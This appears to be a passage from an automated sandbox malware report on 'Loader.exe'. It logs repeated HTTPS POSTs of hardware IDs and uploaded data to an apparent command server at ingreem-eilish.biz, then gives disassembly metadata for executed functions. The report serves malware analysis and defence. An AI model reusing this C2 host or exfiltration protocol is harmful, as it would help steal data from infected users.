2024-12-20 16:41:48 UTC	12800	OUT	Data Raw: 2d 2d 4f 39 53 43 50 53 36 54 56 48 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 31 33 42 41 43 45 33 34 41 32 42 30 35 45 32 35 45 30 35 34 44 31 36 34 41 33 37 36 30 36 0d 0a 2d 2d 4f 39 53 43 50 53 36 54 56 48 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4f 39 53 43 50 53 36 54 56 48 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 62 35 38 63 32 66 38 30 35 36 33 36 0d 0a 2d 2d 4f 39 53 43 50 53 36 54 56 48 Data Ascii: --O9SCPS6TVHZContent-Disposition: form-data; name="hwid"A313BACE34A2B05E25E054D164A37606--O9SCPS6TVHZContent-Disposition: form-data; name="pid"2--O9SCPS6TVHZContent-Disposition: form-data; name="lid"HpOoIh--b58c2f805636--O9SCPS6TVH
2024-12-20 16:41:49 UTC	1049	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:41:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bkluelm2a8s5kqstgf6r48n8c8; expires=Tue, 15-Apr-2025 10:28:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YSqLIVx%2BvulCGfFnW92sRm2pMmdQbCcDi8LmQ6dEd3gGPzKOGg%2BoCAdcM%2BgwRTlClVyd07LuDMULnN%2FJI%2B5lJ%2BduR5DKWKirgeCqlTppFbnOYcn%2FzGZ2VpPkHsrKxYoA42i3IzM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5115002cec180d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1644&min_rtt=1626&rtt_var=623&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13735&delivery_rate=1795817&cwnd=201&unsent_bytes=0&cid=dd3dab1b34552bfc&ts=794&x=0"
2024-12-20 16:41:49 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:41:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49773	104.21.90.135	443	6448	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:41:50 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XPBUSMJF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15024 Host: ingreem-eilish.biz
2024-12-20 16:41:50 UTC	15024	OUT	Data Raw: 2d 2d 58 50 42 55 53 4d 4a 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 31 33 42 41 43 45 33 34 41 32 42 30 35 45 32 35 45 30 35 34 44 31 36 34 41 33 37 36 30 36 0d 0a 2d 2d 58 50 42 55 53 4d 4a 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 58 50 42 55 53 4d 4a 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 62 35 38 63 32 66 38 30 35 36 33 36 0d 0a 2d 2d 58 50 42 55 53 4d 4a 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --XPBUSMJFContent-Disposition: form-data; name="hwid"A313BACE34A2B05E25E054D164A37606--XPBUSMJFContent-Disposition: form-data; name="pid"2--XPBUSMJFContent-Disposition: form-data; name="lid"HpOoIh--b58c2f805636--XPBUSMJFContent-D
2024-12-20 16:41:51 UTC	1053	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:41:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=upitb5gjoait2p9ejqnmscb455; expires=Tue, 15-Apr-2025 10:28:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dAUybXU4W5xk399ux8Qnhd46ZV8RbBsR3UHmcsXT%2BVVWNjVBWE2bswLLMhsaBL0%2FUNK6EpBgiStq2Ha%2BvXt807FqawL%2BAe%2FAceiSKs%2Bp6jV%2F5UpzncJdYtkFzxLA%2FN%2BfVVyZaiQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f51150dac097279-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1794&min_rtt=1784&rtt_var=690&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2846&recv_bytes=15956&delivery_rate=1562332&cwnd=220&unsent_bytes=0&cid=7d2ab8c79e6c8a42&ts=811&x=0"
2024-12-20 16:41:51 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:41:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49780	104.21.90.135	443	6448	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:41:53 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3905CUVZJU7SA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20544 Host: ingreem-eilish.biz
2024-12-20 16:41:53 UTC	15331	OUT	Data Raw: 2d 2d 33 39 30 35 43 55 56 5a 4a 55 37 53 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 31 33 42 41 43 45 33 34 41 32 42 30 35 45 32 35 45 30 35 34 44 31 36 34 41 33 37 36 30 36 0d 0a 2d 2d 33 39 30 35 43 55 56 5a 4a 55 37 53 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 33 39 30 35 43 55 56 5a 4a 55 37 53 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 62 35 38 63 32 66 38 30 35 36 33 36 0d 0a 2d 2d 33 39 30 35 Data Ascii: --3905CUVZJU7SAContent-Disposition: form-data; name="hwid"A313BACE34A2B05E25E054D164A37606--3905CUVZJU7SAContent-Disposition: form-data; name="pid"3--3905CUVZJU7SAContent-Disposition: form-data; name="lid"HpOoIh--b58c2f805636--3905
2024-12-20 16:41:53 UTC	5213	OUT	Data Raw: 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 Data Ascii: 'F3Wun 4F([:7s~X`nO`i
2024-12-20 16:41:54 UTC	1046	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:41:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pvnm7pcr77efra08s80nk5gc9g; expires=Tue, 15-Apr-2025 10:28:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bgv%2FPLKDM4F5jAUwgESKHtaHQneLwEOdskX%2BhkFrYQBw4sULTH%2BSQdtf%2Ba3%2BfeRncVxrvZKwYlaJZzScVCPI3nXkmMNhhKmSgqHvQi9LEu3JxMaU5BB6MijqnGsWbQnJfs2usBc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f51151dfee10f9d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1659&min_rtt=1652&rtt_var=635&sent=14&recv=23&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21503&delivery_rate=1703617&cwnd=193&unsent_bytes=0&cid=80fbfb6220fe826a&ts=917&x=0"
2024-12-20 16:41:54 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:41:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49786	104.21.90.135	443	6448	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:41:55 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UB51S031P6CFI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1230 Host: ingreem-eilish.biz
2024-12-20 16:41:55 UTC	1230	OUT	Data Raw: 2d 2d 55 42 35 31 53 30 33 31 50 36 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 31 33 42 41 43 45 33 34 41 32 42 30 35 45 32 35 45 30 35 34 44 31 36 34 41 33 37 36 30 36 0d 0a 2d 2d 55 42 35 31 53 30 33 31 50 36 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 55 42 35 31 53 30 33 31 50 36 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 62 35 38 63 32 66 38 30 35 36 33 36 0d 0a 2d 2d 55 42 35 31 Data Ascii: --UB51S031P6CFIContent-Disposition: form-data; name="hwid"A313BACE34A2B05E25E054D164A37606--UB51S031P6CFIContent-Disposition: form-data; name="pid"1--UB51S031P6CFIContent-Disposition: form-data; name="lid"HpOoIh--b58c2f805636--UB51
2024-12-20 16:41:56 UTC	1043	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:41:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r8rigetc9kkjn6skt8gdeqp0sr; expires=Tue, 15-Apr-2025 10:28:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mUDzw6eJz00C3eLGQ4zgioVtaz8b52j8jzc%2B%2BBL6XM1wd9UgdpfBKDh%2B6w7dUTIcDIGngOxhh0lsOwEYtfLuQEaH%2B67AmY6Vlu6y%2B6IMEKAQ7vu9gwF83GuM0b1ugn4HJ4fFhdQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f51152dab8ec334-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1658&min_rtt=1642&rtt_var=648&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2144&delivery_rate=1646926&cwnd=247&unsent_bytes=0&cid=23074676cf024360&ts=680&x=0"
2024-12-20 16:41:56 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:41:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49792	104.21.90.135	443	6448	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:41:57 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AL2QEEAZ77KV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1093 Host: ingreem-eilish.biz
2024-12-20 16:41:57 UTC	1093	OUT	Data Raw: 2d 2d 41 4c 32 51 45 45 41 5a 37 37 4b 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 31 33 42 41 43 45 33 34 41 32 42 30 35 45 32 35 45 30 35 34 44 31 36 34 41 33 37 36 30 36 0d 0a 2d 2d 41 4c 32 51 45 45 41 5a 37 37 4b 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 41 4c 32 51 45 45 41 5a 37 37 4b 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 62 35 38 63 32 66 38 30 35 36 33 36 0d 0a 2d 2d 41 4c 32 51 45 45 41 Data Ascii: --AL2QEEAZ77KVContent-Disposition: form-data; name="hwid"A313BACE34A2B05E25E054D164A37606--AL2QEEAZ77KVContent-Disposition: form-data; name="pid"1--AL2QEEAZ77KVContent-Disposition: form-data; name="lid"HpOoIh--b58c2f805636--AL2QEEA
2024-12-20 16:41:59 UTC	1048	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:41:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8j1md37tfgc26tio5m04va1nod; expires=Tue, 15-Apr-2025 10:28:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=88HP2xnKzjttUfS%2B%2F%2FCBQtkOVD7%2Bag6DaPEED6RJJm0OoEdiX%2FV4qG6scy239NhKfevXfOwHWzCpDf5QKTB1xD3DxmFaMZeeZ2QH4HarE87VZ2dxcbyLR%2FKs%2FBtlN4ua95rdrag%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f511539dabd4299-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1727&min_rtt=1720&rtt_var=659&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2006&delivery_rate=1643218&cwnd=251&unsent_bytes=0&cid=1ef9fe110a2215b7&ts=1708&x=0"
2024-12-20 16:41:59 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:41:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49799	104.21.90.135	443	6448	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:42:00 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 121 Host: ingreem-eilish.biz
2024-12-20 16:42:00 UTC	121	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 70 4f 6f 49 68 2d 2d 62 35 38 63 32 66 38 30 35 36 33 36 26 6a 3d 62 39 61 62 63 37 36 63 65 35 33 62 36 66 63 33 61 30 33 35 36 36 66 38 66 37 36 34 66 35 65 61 26 68 77 69 64 3d 41 33 31 33 42 41 43 45 33 34 41 32 42 30 35 45 32 35 45 30 35 34 44 31 36 34 41 33 37 36 30 36 Data Ascii: act=get_message&ver=4.0&lid=HpOoIh--b58c2f805636&j=b9abc76ce53b6fc3a03566f8f764f5ea&hwid=A313BACE34A2B05E25E054D164A37606
2024-12-20 16:42:01 UTC	1043	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:42:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m8npprpufnbjsou27p7feev2pc; expires=Tue, 15-Apr-2025 10:28:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0Ja%2BHLHiGk%2BB0RpMoemnyNUfPKKJ0CyX4KDkzgOAWaH4lQELGgWMVR3opkqAS1nW9JYk9UKdCvv6waXpZB1UaHls1q%2Bp1ts%2FfZ0J4qTySbpLCczSDZryBWgUX%2FDjiJSIKh6ICzY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f51154cef6b5e6e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1603&min_rtt=1585&rtt_var=607&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1024&delivery_rate=1842271&cwnd=235&unsent_bytes=0&cid=b30f812b32f84506&ts=835&x=0"
2024-12-20 16:42:01 UTC	54	IN	Data Raw: 33 30 0d 0a 34 45 47 36 52 67 58 54 46 6e 50 46 77 71 48 33 51 47 78 67 75 74 4c 4a 33 30 79 76 67 5a 78 69 49 6c 51 37 35 48 43 72 76 76 79 37 48 41 3d 3d 0d 0a Data Ascii: 304EG6RgXTFnPFwqH3QGxgutLJ30yvgZxiIlQ75HCrvvy7HA==
2024-12-20 16:42:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	1
Start time:	11:41:22
Start date:	20/12/2024
Path:	C:\Users\user\Desktop\Loader.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Loader.exe"
Imagebase:	0xef0000
File size:	3'208'704 bytes
MD5 hash:	99604EF7EBF56A566A0CDB4B6BB0FA08
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	6.2%
Dynamic/Decrypted Code Coverage:	80.3%
Signature Coverage:	52%
Total number of Nodes:	304
Total number of Limit Nodes:	22

Executed Functions

Function 00437BC0 Relevance: 35.6, APIs: 11, Strings: 9, Instructions: 639
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044168C,00000000,00000001,0044167C,00000000), ref: 00437DE2
SysAllocString.OLEAUT32(?), ref: 00437E47
CoSetProxyBlanket.COMBASE(680742DE,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00437E90
SysAllocString.OLEAUT32(?), ref: 00437EE8
SysAllocString.OLEAUT32(F9BDF745), ref: 00437FC0
VariantInit.OLEAUT32(?), ref: 00438032
VariantClear.OLEAUT32(?), ref: 004381B8
SysFreeString.OLEAUT32(?), ref: 004381DC
SysFreeString.OLEAUT32(?), ref: 004381E2

Strings

Z>\, xrefs: 0043803C
/^&PZ>\, xrefs: 00437FDA
pyz{, xrefs: 00437C29
C, xrefs: 00437D42
/^&P, xrefs: 00438044
0R/T, xrefs: 0043804C
Gx, xrefs: 00437E1B
Ljkl, xrefs: 00437CAC
ab, xrefs: 0043806C

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: String$Alloc$FreeVariant$BlanketClearCreateInitInstanceProxy
String ID: Z>\$/^&P$/^&PZ>\$0R/T$C$Gx$Ljkl$ab$pyz{
API String ID: 3490847348-109390196
Opcode ID: b231c181ff8d6da98a5bc272ab21cfc30071d9d7bfb85af6a5a038700ba4b8a6
Instruction ID: 8131ac09c1f2c8c7a662361a942698708379fad2ab2868bed6bea96b7e7f230e
Opcode Fuzzy Hash: b231c181ff8d6da98a5bc272ab21cfc30071d9d7bfb85af6a5a038700ba4b8a6
Instruction Fuzzy Hash: 2312DEB2A083519BD720CF68C88475BFBE1EBC9714F194A2DF9D497390D778D8058B86

Function 004105F3 Relevance: 15.8, Strings: 12, Instructions: 815
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

I, xrefs: 00410BED
(, xrefs: 00410B3B
N, xrefs: 00410D88
A, xrefs: 00410B40
G, xrefs: 00410742
-, xrefs: 00410EE0
$, xrefs: 00410ED8
l, xrefs: 00410FA7
{, xrefs: 00410F9F
n, xrefs: 00410F97
(, xrefs: 00410EE8
X, xrefs: 00410661

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: $$($($-$A$G$I$N$X$l$n${
API String ID: 0-3018408179
Opcode ID: 5e103353c0778339808f6a7ca294803b546d41d14dbeded6291cd10cad3a3d9b
Instruction ID: 45de6dd5686d3479f9f5989f6b87c12e9a5a75427f0c78b35cf7a0a625548742
Opcode Fuzzy Hash: 5e103353c0778339808f6a7ca294803b546d41d14dbeded6291cd10cad3a3d9b
Instruction Fuzzy Hash: 4462D372A0D7908BC3249B3984853DFBBD2ABC5314F198A3ED9D9D73C1D67889818B47

Function 00421A80 Relevance: 14.3, Strings: 11, Instructions: 597
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

5, xrefs: 00421ED9
D, xrefs: 00421D5F
n, xrefs: 00421D73
B, xrefs: 00421D69
!@, xrefs: 00421AB6
6, xrefs: 00421EE3
m, xrefs: 00421D6E
o, xrefs: 00421D78
/, xrefs: 00421EDE
k, xrefs: 00421D64
,, xrefs: 00422072

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: !@$,$/$5$6$B$D$k$m$n$o
API String ID: 0-3097700080
Opcode ID: e9b4c7f56e078db1dc93f1a691f4ce93547a1584786ce6f13b527817904f49de
Instruction ID: dc28331636f64223628dcf67653152bfe71e102bd96d9b605168d7f034e00d79
Opcode Fuzzy Hash: e9b4c7f56e078db1dc93f1a691f4ce93547a1584786ce6f13b527817904f49de
Instruction Fuzzy Hash: DD32F17170C7908FD3248B28D49136FBBE1ABD9314F58892EE5D6873D2D6BD8841874B

Function 0042DB7F Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 498
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0042DC68
GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042DCA2
GetComputerNameExA.KERNELBASE(00000005,?,00000200), ref: 0042DD66

Strings

_, xrefs: 0042E13E
uHHs, xrefs: 0042DD73

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: ComputerName$FreeLibrary
String ID: _$uHHs
